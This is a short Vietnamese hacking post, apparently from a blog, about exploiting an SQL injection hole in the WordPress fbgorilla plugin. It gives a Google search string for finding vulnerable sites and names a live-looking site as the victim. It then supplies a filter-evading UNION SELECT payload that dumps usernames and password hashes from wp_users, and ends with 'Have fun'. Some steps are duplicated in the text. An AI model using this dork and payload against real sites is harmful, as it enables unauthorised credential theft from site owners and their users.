- Vào google search với từ khóa
- Chọn 1 victim. ở đây mình trọn link sau:
- Xóa &pid=657538357599693&t=1385539112 ở link đi chỉ để lại đến chỗ id=49. Ta được link như sau
- Và đây là kết quả
Have fun. Ai lech ghi dùm cái nguồn.
inurl:wp-content/plugins/fbgorilla/game_play.php?id=
- Chọn 1 victim. ở đây mình trọn link sau:
http://fansofsuperheros.com/wp-content/plugins/fbgorilla/game_play.php?id=49&pid=657538357599693&t=1385539112
- Xóa &pid=657538357599693&t=1385539112 ở link đi chỉ để lại đến chỗ id=49. Ta được link như sau
http://fansofsuperheros.com/wp-content/plugins/fbgorilla/game_play.php?id=49- Thêm đoạn sau vào link
and 4=1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,/*!50000group_Concat(user_login,0x2f,user_pass)*/,4,5,6,7,8,9,10,11,12,13 from wp_users--
- Và đây là kết quả
Have fun. Ai lech ghi dùm cái nguồn.
Khai thác lỗi SQli trên plugin fbgorilla của wordpress
4/
5
Oleh
Unknown
